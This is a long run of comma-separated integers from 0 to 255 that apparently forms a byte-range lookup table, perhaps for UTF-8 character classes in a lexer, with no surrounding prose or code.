181, 185, 188, 191, 144, 151, 128, 132, 135, 136, 139, 141, 157, 163, 166, 172, 176, 180, 128, 138, 144, 153, 134, 136, 143, 154, 255, 128, 181, 184, 255, 129, 151, 158, 255, 129, 131, 133, 143, 154, 255, 128, 137, 128, 153, 157, 171, 176, 185, 160, 255, 170, 190, 192, 255, 128, 184, 128, 136, 138, 182, 184, 191, 128, 144, 153, 178, 255, 168, 144, 145, 183, 255, 128, 142, 145, 149, 129, 141, 144, 146, 147, 148, 175, 255, 132, 255, 128, 144, 129, 143, 144, 153, 145, 152, 135, 255, 160, 168, 169, 171, 172, 173, 174, 188, 189, 190, 191, 161, 167, 185, 255, 128, 158, 160, 169, 144, 173, 176, 180, 128, 131, 144, 153, 163, 183, 189, 255, 144, 255, 133, 143, 191, 255, 143, 159, 160, 128, 129, 255, 159, 160, 171, 172, 255, 173, 255, 179, 255, 128, 176, 177, 178, 128, 129, 171, 175, 189, 255, 128, 136, 144, 153, 157, 158, 133, 134, 137, 144, 145, 146, 147, 148, 149, 154, 155, 156, 157, 158, 159, 168, 169, 170, 150, 153, 165, 169, 173, 178, 187, 255, 131, 132, 140, 169, 174, 255, 130, 132, 149, 157, 173, 186, 188, 160, 161, 163, 164, 167, 168, 132, 134, 149, 157, 186, 139, 140, 191, 255, 134, 128, 132, 138, 144, 146, 255, 166, 167, 129, 155, 187, 149, 181, 143, 175, 137, 169, 131, 140, 141, 192, 255, 128, 182, 187, 255, 173, 180, 182, 255, 132, 155, 159, 161, 175, 128, 160, 163, 164, 165, 184, 185, 186, 161, 162, 128, 134, 136, 152, 155, 161, 163, 164, 166, 170, 133, 143, 151, 255, 139, 143, 154, 255, 164, 167, 185, 187, 128, 131, 133, 159, 161, 162, 169, 178, 180, 183, 130, 135, 137, 139, 148, 151, 153, 155, 157, 159, 164, 190, 141, 143, 145, 146, 161, 162, 167, 170, 172, 178, 180, 183, 185, 188, 128, 137, 139, 155, 161, 163, 165, 169, 171, 187, 155, 156, 151, 255, 156, 157, 160, 181, 255, 186, 187, 255, 162, 255, 160, 168, 161, 167, 158, 255, 160, 132, 135, 133, 134, 176, 255, 128, 191, 154, 164, 168, 128, 149, 150, 191, 128, 152, 153, 191, 181, 128, 159, 160, 189, 190, 191, 189, 128, 131, 132, 185, 186, 191, 144, 128, 151, 152, 161, 162, 176, 177, 255, 169, 177, 129, 132, 141, 142, 145, 146, 179, 181, 186, 188, 190, 191, 192, 255, 142, 158, 128, 155, 156, 161, 162, 175, 176, 177, 178, 191, 169, 177, 180, 183, 128, 132, 133, 138, 139, 142, 143, 144, 145, 146, 147, 185, 186, 191, 157, 128, 152, 153, 158, 159, 177, 178, 180, 181, 191, 142, 146, 169, 177, 180, 189, 128, 132, 133, 185, 186, 191, 144, 185, 128, 159, 160, 161, 162, 191, 169, 177, 180, 189, 128, 132, 133, 140, 141, 142, 143, 144, 145, 146, 147, 185, 186, 191, 158, 177, 128, 155, 156, 161, 162, 191, 131, 145, 155, 157, 128, 132, 133, 138, 139, 141, 142, 149, 150, 152, 153, 159, 160, 162, 163, 164, 165, 167, 168, 170, 171, 173, 174, 185, 186, 191, 144, 128, 191, 141, 145, 169, 189, 128, 132, 133, 185, 186, 191, 128, 151, 152, 154, 155, 159, 160, 161, 162, 191, 128, 141, 145, 169, 180, 189, 129, 132, 133, 185, 186, 191, 158, 128, 159, 160, 161, 162, 176, 177, 178, 179, 191, 141, 145, 189, 128, 132, 133, 186, 187, 191, 142, 128, 147, 148, 150, 151, 158, 159, 161, 162, 185, 186, 191, 178, 188, 128, 132, 133, 150, 151, 153, 154, 189, 190, 191, 128, 134, 135, 191, 128, 177, 129, 179, 180, 191, 128, 131, 137, 141, 152, 160, 164, 166, 172, 177, 189, 129, 132, 133, 134, 135, 138, 139, 147, 148, 167, 168, 169, 170, 179, 180, 191, 133, 128, 134, 135, 155, 156, 159, 160, 191, 128, 129, 191, 136, 128, 172, 173, 191, 128, 135, 136, 140, 141, 191, 191, 128, 170, 171, 190, 161, 128, 143, 144, 149, 150, 153, 154, 157, 158, 164, 165, 166, 167, 173, 174, 176, 177, 180, 181, 255, 130, 141, 143, 159, 134, 187, 136, 140, 142, 143, 137, 151, 153, 142, 143, 158, 159, 137, 177, 191, 142, 143, 182, 183, 192, 255, 129, 151, 128, 133, 134, 135, 136, 255, 145, 150, 151, 155, 191, 192, 255, 128, 143, 144, 159, 160, 255, 182, 183, 190, 191, 192, 255, 128, 129, 255, 173, 174, 192, 255, 128, 129, 154, 155, 159, 160, 255, 171, 173, 185, 191, 192, 255, 141, 128, 145, 146, 159, 160, 177, 178, 191, 173, 128, 145, 146, 159, 160, 176, 177, 191, 128, 179, 180, 191, 151, 156, 128, 191, 128, 159, 160, 255, 184, 191, 192, 255, 169, 128, 170, 171, 175, 176, 255, 182, 191, 192, 255, 128, 158, 159, 191, 128, 143, 144, 173, 174, 175, 176, 180, 181, 191, 128, 171, 172, 175, 176, 255, 138, 191, 192, 255, 128, 150, 151, 159, 160, 255, 149, 191, 192, 255, 167, 128, 191, 128, 132, 133, 179, 180, 191, 128, 132, 133, 139, 140, 191, 128, 130, 131, 160, 161, 173, 174, 175, 176, 185, 186, 255, 166, 191, 192, 255, 128, 163, 164, 191, 128, 140, 141, 143, 144, 153, 154, 189, 190, 191, 128, 136, 137, 191, 173, 128, 168, 169, 177, 178, 180, 181, 182, 183, 191, 0, 127, 192, 255, 150, 151, 158, 159, 152, 154, 156, 158, 134, 135, 142, 143, 190, 191, 192, 255, 181, 189, 191, 128, 190, 133, 181, 128, 129, 130, 140, 141, 143, 144, 147, 148, 149, 150, 155, 156, 159, 160, 172, 173, 177, 178, 188, 189, 191, 177, 191, 128, 190, 128, 143, 144, 156, 157, 191, 130, 135, 148, 164, 166, 168, 128, 137, 138, 149, 150, 151, 152, 157, 158, 169, 170, 185, 186, 187, 188, 191, 142, 128, 132, 133, 137, 138, 159, 160, 255, 137, 191, 192, 255, 175, 128, 255, 159, 165, 170, 175, 177, 180, 191, 192, 255, 166, 173, 128, 167, 168, 175, 176, 255, 168, 174, 176, 191, 192, 255, 167, 175, 183, 191, 128, 150, 151, 159, 160, 190, 135, 143, 151, 128, 158, 159, 191, 128, 132, 133, 135, 136, 160, 161, 169, 170, 176, 177, 181, 182, 183, 184, 188, 189, 191, 160, 151, 154, 187, 192, 255, 128, 132, 133, 173, 174, 176, 177, 255, 143, 159, 187, 191, 192, 255, 128, 175, 176, 191, 150, 191, 192, 255, 141, 191, 192, 255, 128, 143, 144, 189, 190, 191, 141, 143, 160, 169, 172, 191, 192, 255, 191, 128, 174, 175, 190, 128, 157, 158, 159, 160, 255, 176, 191, 192, 255, 128, 150, 151, 159, 160, 161, 162, 255, 175, 137, 138, 184, 191, 192, 255, 128, 182, 183, 255, 130, 134, 139, 163, 191, 192, 255, 128, 129, 130, 179, 180, 191, 187, 189, 128, 177, 178, 183, 184, 191, 128, 137, 138, 165, 166, 175, 176, 255, 135, 159, 189, 191, 192, 255, 128, 131, 132, 178, 179, 191, 143, 165, 191, 128, 159, 160, 175, 176, 185, 186, 190, 128, 168, 169, 191, 131, 186, 128, 139, 140, 159, 160, 182, 183, 189, 190, 255, 176, 178, 180, 183, 184, 190, 191, 192, 255, 129, 128, 130, 131, 154, 155, 157, 158, 159, 160, 170, 171, 177, 178, 180, 181, 191, 128, 167, 175, 129, 134, 135, 136, 137, 142, 143, 144, 145, 150, 151, 159, 160, 255, 155, 166, 175, 128, 162, 163, 191, 164, 175, 135, 138, 188, 191, 192, 255, 174, 175, 154, 191, 192, 255, 157, 169, 183, 189, 191, 128, 134, 135, 146, 147, 151, 152, 158, 159, 190, 130, 133, 128, 255, 178, 191, 192, 255, 128, 146, 147, 255, 190, 191, 192, 255, 128, 143, 144, 255, 144, 145, 136, 175, 188, 191, 192, 255, 181, 128, 175, 176, 255, 189, 191, 192, 255, 128, 160, 161, 186, 187, 191, 128, 129, 154, 155, 165, 166, 255, 191, 192, 255, 128, 129, 130, 135, 136, 137, 138, 143, 144, 145, 146, 151, 152, 153, 154, 156, 157, 191, 128, 191, 128, 129, 130, 131, 133, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 152, 156, 157, 160, 161, 162, 163, 164, 166, 168, 169, 170, 171, 172, 173, 174, 176, 177, 132, 151, 153, 155, 158, 175, 178, 179, 180, 191, 140, 167, 187, 190, 128, 255, 142, 143, 158, 191, 192, 255, 187, 191, 192, 255, 128, 180, 181, 191, 128, 156, 157, 159, 160, 255, 145, 191, 192, 255, 128, 159, 160, 175, 176, 255, 139, 143, 182, 191, 192, 255, 144, 132, 135, 150, 191, 192, 255, 158, 175, 148, 151, 188, 191, 192, 255, 128, 167, 168, 175, 176, 255, 164, 191, 192, 255, 183, 191, 192, 255, 128, 149, 150, 159, 160, 167, 168, 191, 136, 182, 188, 128, 133, 134, 137, 138, 184, 185, 190, 191, 255, 150, 159, 183, 191, 192, 255, 179, 128, 159, 160, 181, 182, 191, 128, 149, 150, 159, 160, 185, 186, 191, 128, 183, 184, 189, 190, 191, 128, 148, 152, 129, 143, 144, 179, 180, 191, 128, 159, 160, 188, 189, 191, 128, 156, 157, 191, 136, 128, 164, 165, 191, 128, 181, 182, 191, 128, 149, 150, 159, 160, 178, 179, 191, 128, 145, 146, 191, 128, 178, 179, 191, 128, 130, 131, 132, 133, 134, 135, 136, 138, 139, 140, 141, 144, 145, 146, 147, 150, 151, 152, 153, 154, 156, 162, 163, 171, 176, 177, 178, 129, 191, 128, 130, 131, 183, 184, 191, 128, 130, 131, 175, 176, 191, 128, 143, 144, 168, 169, 191, 128, 130, 131, 166, 167, 191, 182, 128, 143, 144, 178, 179, 191, 128, 130, 131, 178, 179, 191, 128, 154, 156, 129, 132, 133, 191, 146, 128, 171, 172, 191, 135, 137, 142, 158, 128, 168, 169, 175, 176, 255, 159, 191, 192, 255, 144, 128, 156, 157, 161, 162, 191, 128, 134, 135, 138, 139, 191, 128, 175, 176, 191, 134, 128, 131, 132, 135, 136, 191, 128, 174, 175, 191, 128, 151, 152, 155, 156, 191, 132, 128, 191, 128, 170, 171, 191, 128, 153, 154, 191, 160, 190, 192, 255, 128, 184, 185, 191, 137, 128, 174, 175, 191, 128, 129, 177, 178, 255, 144, 191, 192, 255, 128, 142, 143, 144, 145, 146, 149, 129, 148, 150, 191, 175, 191, 192, 255, 132, 191, 192, 255, 128, 144, 129, 143, 145, 191, 144, 153, 128, 143, 145, 152, 154, 191, 135, 191, 192, 255, 160, 168, 169, 171, 172, 173, 174, 188, 189, 190, 191, 128, 159, 161, 167, 170, 187, 185, 191, 192, 255, 128, 143, 144, 173, 174, 191, 128, 131, 132, 162, 163, 183, 184, 188, 189, 255, 133, 143, 145, 191, 192, 255, 128, 146, 147, 159, 160, 191, 160, 128, 191, 128, 129, 191, 192, 255, 159, 160, 171, 128, 170, 172, 191, 192, 255, 173, 191, 192, 255, 179, 191, 192, 255, 128, 176, 177, 178, 129, 191, 128, 129, 130, 191, 171, 175, 189, 191, 192, 255, 128, 136, 137, 143, 144, 153, 154, 191, 144, 145, 146, 147, 148, 149, 154, 155, 156, 157, 158, 159, 128, 143, 150, 153, 160, 191, 149, 157, 173, 186, 188, 160, 161, 163, 164, 167, 168, 132, 134, 149, 157, 186, 191, 139, 140, 192, 255, 133, 145, 128, 134, 135, 137, 138, 255, 166, 167, 129, 155, 187, 149, 181, 143, 175, 137, 169, 131, 140, 191, 192, 255, 160, 163, 164, 165, 184, 185, 186, 128, 159, 161, 162, 166, 191, 133, 191, 192, 255, 132, 160, 163, 167, 179, 184, 186, 128, 164, 165, 168, 169, 187, 188, 191, 130, 135, 137, 139, 144, 147, 151, 153, 155, 157, 159, 163, 171, 179, 184, 189, 191, 128, 140, 141, 148, 149, 160, 161, 164, 165, 166, 167, 190, 138, 164, 170, 128, 155, 156, 160, 161, 187, 188, 191, 128, 191, 155, 156, 128, 191, 151, 191, 192, 255, 156, 157, 160, 128, 191, 181, 191, 192, 255, 158, 159, 186, 128, 185, 187, 191, 192, 255, 162, 191, 192, 255, 160, 168, 128, 159, 161, 167, 169, 191, 158, 191, 192, 255, 10, 13, 128, 191, 192, 223, 224, 239, 240, 247, 248, 255, 128, 191, 128, 191, 128, 191, 128, 191, 128, 191, 10, 128, 191, 128, 191, 128, 191, 36, 123, 37, 123, 10, 128, 191, 128, 191, 128, 191, 36, 123, 37, 123, 170, 181, 183, 186, 128, 150, 152, 182, 184, 255, 192, 255, 128, 255, 173, 130, 133, 146, 159, 165, 171, 175, 255, 181, 190, 184, 185, 192, 255, 140, 134, 138, 142, 161, 163, 255, 182, 130, 136, 137, 176, 151, 152, 154, 160, 190, 136, 144, 192, 255, 135, 129, 130, 132, 133, 144, 170, 176, 178, 144, 154, 160, 191, 128, 169, 174, 255, 148, 169, 157, 158, 189, 190, 192, 255, 144, 255, 139, 140, 178, 255, 186, 128, 181, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 128, 173, 128, 155, 160, 180, 182, 189, 148, 161, 163, 255, 176, 164, 165, 132, 169, 177, 141, 142, 145, 146, 179, 181, 186, 187, 158, 133, 134, 137, 138, 143, 150, 152, 155, 164, 165, 178, 255, 188, 129, 131, 133, 138, 143, 144, 147, 168, 170, 176, 178, 179, 181, 182, 184, 185, 190, 255, 157, 131, 134, 137, 138, 142, 144, 146, 152, 159, 165, 182, 255, 129, 131, 133, 141, 143, 145, 147, 168, 170, 176, 178, 179, 181, 185, 188, 255, 134, 138, 142, 143, 145, 159, 164, 165, 176, 184, 186, 255, 129, 131, 133, 140, 143, 144, 147, 168, 170, 176, 178, 179, 181, 185, 188, 191, 177, 128, 132, 135, 136, 139, 141, 150, 151, 156, 157, 159, 163, 166, 175, 156, 130, 131, 133, 138, 142, 144, 146, 149, 153, 154, 158, 159, 163, 164, 168, 170, 174, 185, 190, 191, 144, 151, 128, 130, 134, 136, 138, 141, 166, 175, 128, 131, 133, 140, 142, 144, 146, 168, 170, 185, 189, 255, 133, 137, 151, 142, 148, 155, 159, 164, 165, 176, 255, 128, 131, 133, 140, 142, 144, 146, 168, 170, 179, 181, 185, 188, 191, 158, 128, 132, 134, 136, 138, 141, 149, 150, 160, 163, 166, 175, 177, 178, 129, 131, 133, 140, 142, 144, 146, 186, 189, 255, 133, 137, 143, 147, 152, 158, 164, 165, 176, 185, 192, 255, 189, 130, 131, 133, 150, 154, 177, 179, 187, 138, 150, 128, 134, 143, 148, 152, 159, 166, 175, 178, 179, 129, 186, 128, 142, 144, 153, 132, 138, 141, 165, 167, 129, 130, 135, 136, 148, 151, 153, 159, 161, 163, 170, 171, 173, 185, 187, 189, 134, 128, 132, 136, 141, 144, 153, 156, 159, 128, 181, 183, 185, 152, 153, 160, 169, 190, 191, 128, 135, 137, 172, 177, 191, 128, 132, 134, 151, 153, 188, 134, 128, 129, 130, 131, 137, 138, 139, 140, 141, 142, 143, 144, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 173, 175, 176, 177, 178, 179, 181, 182, 183, 188, 189, 190, 191, 132, 152, 172, 184, 185, 187, 128, 191, 128, 137, 144, 255, 158, 159, 134, 187, 136, 140, 142, 143, 137, 151, 153, 142, 143, 158, 159, 137, 177, 142, 143, 182, 183, 191, 255, 128, 130, 133, 136, 150, 152, 255, 145, 150, 151, 155, 156, 160, 168, 178, 255, 128, 143, 160, 255, 182, 183, 190, 255, 129, 255, 173, 174, 192, 255, 129, 154, 160, 255, 171, 173, 185, 255, 128, 140, 142, 148, 160, 180, 128, 147, 160, 172, 174, 176, 178, 179, 148, 150, 152, 155, 158, 159, 170, 255, 139, 141, 144, 153, 160, 255, 184, 255, 128, 170, 176, 255, 182, 255, 128, 158, 160, 171, 176, 187, 134, 173, 176, 180, 128, 171, 176, 255, 138, 143, 155, 255, 128, 155, 160, 255, 159, 189, 190, 192, 255, 167, 128, 137, 144, 153, 176, 189, 140, 143, 154, 170, 180, 255, 180, 255, 128, 183, 128, 137, 141, 189, 128, 136, 144, 146, 148, 182, 184, 185, 128, 181, 187, 191, 150, 151, 158, 159, 152, 154, 156, 158, 134, 135, 142, 143, 190, 255, 190, 128, 180, 182, 188, 130, 132, 134, 140, 144, 147, 150, 155, 160, 172, 178, 180, 182, 188, 128, 129, 130, 131, 132, 133, 134, 176, 177, 178, 179, 180, 181, 182, 183, 191, 255, 129, 147, 149, 176, 178, 190, 192, 255, 144, 156, 161, 144, 156, 165, 176, 130, 135, 149, 164, 166, 168, 138, 147, 152, 157, 170, 185, 188, 191, 142, 133, 137, 160, 255, 137, 255, 128, 174, 176, 255, 159, 165, 170, 180, 255, 167, 173, 128, 165, 176, 255, 168, 174, 176, 190, 192, 255, 128, 150, 160, 166, 168, 174, 176, 182, 184, 190, 128, 134, 136, 142, 144, 150, 152, 158, 160, 191, 128, 129, 130, 131, 132, 133, 134, 135, 144, 145, 255, 133, 135, 161, 175, 177, 181, 184, 188, 160, 151, 152, 187, 192, 255, 133, 173, 177, 255, 143, 159, 187, 255, 176, 191, 182, 183, 184, 191, 192, 255, 150, 255, 128, 146, 147, 148, 152, 153, 154, 155, 156, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 129, 255, 141, 255, 144, 189, 141, 143, 172, 255, 191, 128, 175, 180, 189, 151, 159, 162, 255, 175, 137, 138, 184, 255, 183, 255, 168, 255, 128, 179, 188, 134, 143, 154, 159, 184, 186, 190, 255, 128, 173, 176, 255, 148, 159, 189, 255, 129, 142, 154, 159, 191, 255, 128, 182, 128, 141, 144, 153, 160, 182, 186, 255, 128, 130, 155, 157, 160, 175, 178, 182, 129, 134, 137, 142, 145, 150, 160, 166, 168, 174, 176, 255, 155, 166, 175, 128, 170, 172, 173, 176, 185, 158, 159, 160, 255, 164, 175, 135, 138, 188, 255, 164, 169, 171, 172, 173, 174, 175, 180, 181, 182, 183, 184, 185, 187, 188, 189, 190, 191, 165, 186, 174, 175, 154, 255, 190, 128, 134, 147, 151, 157, 168, 170, 182, 184, 188, 128, 129, 131, 132, 134, 255, 147, 255, 190, 255, 144, 145, 136, 175, 188, 255, 128, 143, 160, 175, 179, 180, 141, 143, 176, 180, 182, 255, 189, 255, 191, 144, 153, 161, 186, 129, 154, 166, 255, 191, 255, 130, 135, 138, 143, 146, 151, 154, 156, 144, 145, 146, 147, 148, 150, 151, 152, 155, 157, 158, 160, 170, 171, 172, 175, 161, 169, 128, 129, 130, 131, 133, 135, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 152, 156, 157, 160, 161, 162, 163, 164, 166, 168, 169, 170, 171, 172, 173, 174, 176, 177, 153, 155, 178, 179, 128, 139, 141, 166, 168, 186, 188, 189, 191, 255, 142, 143, 158, 255, 187, 255, 128, 180, 189, 128, 156, 160, 255, 145, 159, 161, 255, 128, 159, 176, 255, 139, 143, 187, 255, 128, 157, 160, 255, 144, 132, 135, 150, 255, 158, 159, 170, 175, 148, 151, 188, 255, 128, 167, 176, 255, 164, 255, 183, 255, 128, 149, 160, 167, 136, 188, 128, 133, 138, 181, 183, 184, 191, 255, 150, 159, 183, 255, 128, 158, 160, 178, 180, 181, 128, 149, 160, 185, 128, 183, 190, 191, 191, 128, 131, 133, 134, 140, 147, 149, 151, 153, 179, 184, 186, 160, 188, 128, 156, 128, 135, 137, 166, 128, 181, 128, 149, 160, 178, 128, 145, 128, 178, 129, 130, 131, 132, 133, 135, 136, 138, 139, 140, 141, 144, 145, 146, 147, 150, 151, 152, 153, 154, 155, 156, 162, 163, 171, 176, 177, 178, 128, 134, 135, 165, 176, 190, 144, 168, 176, 185, 128, 180, 182, 191, 182, 144, 179, 155, 133, 137, 141, 143, 157, 255, 190, 128, 145, 147, 183, 136, 128, 134, 138, 141, 143, 157, 159, 168, 176, 255, 171, 175, 186, 255, 128, 131, 133, 140, 143, 144, 147, 168, 170, 176, 178, 179, 181, 185, 188, 191, 144, 151, 128, 132, 135, 136, 139, 141, 157, 163, 166, 172, 176, 180, 128, 138, 144, 153, 134, 136, 143, 154, 255, 128, 181, 184, 255, 129, 151, 158, 255, 129, 131, 133, 143, 154, 255, 128, 137, 128, 153, 157, 171, 176, 185, 160, 255, 170, 190, 192, 255, 128, 184, 128, 136, 138, 182, 184, 191, 128, 144, 153, 178, 255, 168, 144, 145, 183, 255, 128, 142, 145, 149, 129, 141, 144, 146, 147, 148, 175, 255, 132, 255, 128, 144, 129, 143, 144, 153, 145, 152, 135, 255, 160, 168, 169, 171, 172, 173, 174, 188, 189, 190, 191, 161, 167, 185, 255, 128, 158, 160, 169, 144, 173, 176, 180, 128, 131, 144, 153, 163, 183, 189, 255, 144, 255, 133, 143, 191, 255, 143, 159, 160, 128, 129, 255, 159, 160, 171, 172, 255, 173, 255, 179, 255, 128, 176, 177, 178, 128, 129, 171, 175, 189, 255, 128, 136, 144, 153, 157, 158, 133, 134, 137, 144, 145, 146, 147, 148, 149, 154, 155, 156, 157, 158, 159, 168, 169, 170, 150, 153, 165, 169, 173, 178, 187, 255, 131, 132, 140, 169, 174, 255, 130, 132, 149, 157, 173, 186, 188, 160, 161, 163, 164, 167, 168, 132, 134, 149, 157, 186, 139, 140, 191, 255, 134, 128, 132, 138, 144, 146, 255, 166, 167, 129, 155, 187, 149, 181, 143, 175, 137, 169, 131, 140, 141, 192, 255, 128, 182, 187, 255, 173, 180, 182, 255, 132, 155, 159, 161, 175, 128, 160, 163, 164, 165, 184, 185, 186, 161, 162, 128, 134, 136, 152, 155, 161, 163, 164, 166, 170, 133, 143, 151, 255, 139, 143, 154, 255, 164, 167, 185, 187, 128, 131, 133, 159, 161, 162, 169, 178, 180, 183, 130, 135, 137, 139, 148, 151, 153, 155, 157, 159, 164, 190, 141, 143, 145, 146, 161, 162, 167, 170, 172, 178, 180, 183, 185, 188, 128, 137, 139, 155, 161, 163, 165, 169, 171, 187, 155, 156, 151, 255, 156, 157, 160, 181, 255, 186, 187, 255, 162, 255, 160, 168, 161, 167, 158, 255, 160, 132, 135, 133, 134, 176, 255, 128, 191, 154, 164, 168, 128, 149, 150, 191, 128, 152, 153, 191, 181, 128, 159, 160, 189, 190, 191, 189, 128, 131, 132, 185, 186, 191, 144, 128, 151, 152, 161, 162, 176, 177, 255, 169, 177, 129, 132, 141, 142, 145, 146, 179, 181, 186, 188, 190, 191, 192, 255, 142, 158, 128, 155, 156, 161, 162, 175, 176, 177, 178, 191, 169, 177, 180, 183, 128, 132, 133, 138, 139, 142, 143, 144, 145, 146, 147, 185, 186, 191, 157, 128, 152, 153, 158, 159, 177, 178, 180, 181, 191, 142, 146, 169, 177, 180, 189, 128, 132, 133, 185, 186, 191, 144, 185, 128, 159, 160, 161, 162, 191, 169, 177, 180, 189, 128, 132, 133, 140, 141, 142, 143, 144, 145, 146, 147, 185, 186, 191, 158, 177, 128, 155, 156, 161, 162, 191, 131, 145, 155, 157, 128, 132, 133, 138, 139, 141, 142, 149, 150, 152, 153, 159, 160, 162, 163, 164, 165, 167, 168, 170, 171, 173, 174, 185, 186, 191, 144, 128, 191, 141, 145, 169, 189, 128, 132, 133, 185, 186, 191, 128, 151, 152, 154, 155, 159, 160, 161, 162, 191, 128, 141, 145, 169, 180, 189, 129, 132, 133, 185, 186, 191, 158, 128, 159, 160, 161, 162, 176, 177, 178, 179, 191, 141, 145, 189, 128, 132, 133, 186, 187, 191, 142, 128, 147, 148, 150, 151, 158, 159, 161, 162, 185, 186, 191, 178, 188, 128, 132, 133, 150, 151, 153, 154, 189, 190, 191, 128, 134, 135, 191, 128, 177, 129, 179, 180, 191, 128, 131, 137, 141, 152, 160, 164, 166, 172, 177, 189, 129, 132, 133, 134, 135, 138, 139, 147, 148, 167, 168, 169, 170, 179, 180, 191, 133, 128, 134, 135, 155, 156, 159, 160, 191, 128, 129, 191, 136, 128, 172, 173, 191, 128, 135, 136, 140, 141, 191, 191, 128, 170, 171, 190, 161, 128, 143, 144, 149, 150, 153, 154, 157, 158, 164, 165, 166, 167, 173, 174, 176, 177, 180, 181, 255, 130, 141, 143, 159, 134, 187, 136, 140, 142, 143, 137, 151, 153, 142, 143, 158, 159, 137, 177, 191, 142, 143, 182, 183, 192, 255, 129, 151, 128, 133, 134, 135, 136, 255, 145, 150, 151, 155, 191, 192, 255, 128, 143, 144, 159, 160, 255, 182, 183, 190, 191, 192, 255, 128, 129, 255, 173, 174, 192, 255, 128, 129, 154, 155, 159, 160, 255, 171, 173, 185, 191, 192, 255, 141, 128, 145, 146, 159, 160, 177, 178, 191, 173, 128, 145, 146, 159, 160, 176, 177, 191, 128, 179, 180, 191, 151, 156, 128, 191, 128, 159, 160, 255, 184, 191, 192, 255, 169, 128, 170, 171, 175, 176, 255, 182, 191, 192, 255, 128, 158, 159, 191, 128, 143, 144, 173, 174, 175, 176, 180, 181, 191, 128, 171, 172, 175, 176, 255, 138, 191, 192, 255, 128, 150, 151, 159, 160, 255, 149, 191, 192, 255, 167, 128, 191, 128, 132, 133, 179, 180, 191, 128, 132, 133, 139, 140, 191, 128, 130, 131, 160, 161, 173, 174, 175, 176, 185, 186, 255, 166, 191, 192, 255, 128, 163, 164, 191, 128, 140, 141, 143, 144, 153, 154, 189, 190, 191, 128, 136, 137, 191, 173, 128, 168, 169, 177, 178, 180, 181, 182, 183, 191, 0, 127, 192, 255, 150, 151, 158, 159, 152, 154, 156, 158, 134, 135, 142, 143, 190, 191, 192, 255, 181, 189, 191, 128, 190, 133, 181, 128, 129, 130, 140, 141, 143, 144, 147, 148, 149, 150, 155, 156, 159, 160, 172, 173, 177, 178, 188, 189, 191, 177, 191, 128, 190, 128, 143, 144, 156, 157, 191, 130, 135, 148, 164, 166, 168, 128, 137, 138, 149, 150, 151, 152, 157, 158, 169, 170, 185, 186, 187, 188, 191, 142, 128, 132, 133, 137, 138, 159, 160, 255, 137, 191, 192, 255, 175, 128, 255, 159, 165, 170, 175, 177, 180, 191, 192, 255, 166, 173, 128, 167, 168, 175, 176, 255, 168, 174, 176, 191, 192, 255, 167, 175, 183, 191, 128, 150, 151, 159, 160, 190, 135, 143, 151, 128, 158, 159, 191, 128, 132, 133, 135, 136, 160, 161, 169, 170, 176, 177, 181, 182, 183, 184, 188, 189, 191, 160, 151, 154, 187, 192, 255, 128, 132, 133, 173, 174, 176, 177, 255, 143, 159, 187, 191, 192, 255, 128, 175, 176, 191, 150, 191, 192, 255, 141, 191, 192, 255, 128, 143, 144, 189, 190, 191, 141, 143, 160, 169, 172, 191, 192, 255, 191, 128, 174, 175, 190, 128, 157, 158, 159, 160, 255, 176, 191, 192, 255, 128, 150, 151, 159, 160, 161, 162, 255, 175, 137, 138, 184, 191, 192, 255, 128, 182, 183, 255, 130, 134, 139, 163, 191, 192, 255, 128, 129, 130, 179, 180, 191, 187, 189, 128, 177, 178, 183, 184, 191, 128, 137, 138, 165, 166, 175, 176, 255, 135, 159, 189, 191, 192, 255, 128, 131, 132, 178, 179, 191, 143, 165, 191, 128, 159, 160, 175, 176, 185, 186, 190, 128, 168, 169, 191, 131, 186, 128, 139, 140, 159, 160, 182, 183, 189, 190, 255, 176, 178, 180, 183, 184, 190, 191, 192, 255, 129, 128, 130, 131, 154, 155, 157, 158, 159, 160, 170, 171, 177, 178, 180, 181, 191, 128, 167, 175, 129, 134, 135, 136, 137, 142, 143, 144, 145, 150, 151, 159, 160, 255, 155, 166, 175, 128, 162, 163, 191, 164, 175, 135, 138, 188, 191, 192, 255, 174, 175, 154, 191, 192, 255, 157, 169, 183, 189, 191, 128, 134, 135, 146, 147, 151, 152, 158, 159, 190, 130, 133, 128, 255, 178, 191, 192, 255, 128, 146, 147, 255, 190, 191, 192, 255, 128, 143, 144, 255, 144, 145, 136, 175, 188, 191, 192, 255, 181, 128, 175, 176, 255, 189, 191, 192, 255, 128, 160, 161, 186, 187, 191, 128, 129, 154, 155, 165, 166, 255, 191, 192, 255, 128, 129, 130, 135, 136, 137, 138, 143, 144, 145, 146, 151, 152, 153, 154, 156, 157, 191, 128, 191, 128, 129, 130, 131, 133, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 152, 156, 157, 160, 161, 162, 163, 164, 166, 168, 169, 170, 171, 172, 173, 174, 176, 177, 132, 151, 153, 155, 158, 175, 178, 179, 180, 191, 140, 167, 187, 190, 128, 255, 142, 143, 158, 191, 192, 255, 187, 191, 192, 255, 128, 180, 181, 191, 128, 156, 157, 159, 160, 255, 145, 191, 192, 255, 128, 159, 160, 175, 176, 255, 139, 143, 182, 191, 192, 255, 144, 132, 135, 150, 191, 192, 255, 158, 175, 148, 151, 188, 191, 192, 255, 128, 167, 168, 175, 176, 255, 164, 191, 192, 255, 183, 191, 192, 255, 128, 149, 150, 159, 160, 167, 168, 191, 136, 182, 188, 128, 133, 134, 137, 138, 184, 185, 190, 191, 255, 150, 159, 183, 191, 192, 255, 179, 128, 159, 160, 181, 182, 191, 128, 149, 150, 159, 160, 185, 186, 191, 128, 183, 184, 189, 190, 191, 128, 148, 152, 129, 143, 144, 179, 180, 191, 128, 159, 160, 188, 189, 191, 128, 156, 157, 191, 136, 128, 164, 165, 191, 128, 181, 182, 191, 128, 149, 150, 159, 160, 178, 179, 191, 128, 145, 146, 191, 128, 178, 179, 191, 128, 130, 131, 132, 133, 134, 135, 136, 138, 139, 140, 141, 144, 145, 146, 147, 150, 151, 152, 153, 154, 156, 162, 163, 171, 176, 177, 178, 129, 191, 128, 130, 131, 183, 184, 191, 128, 130, 131, 175, 176, 191, 128, 143, 144, 168, 169, 191, 128, 130, 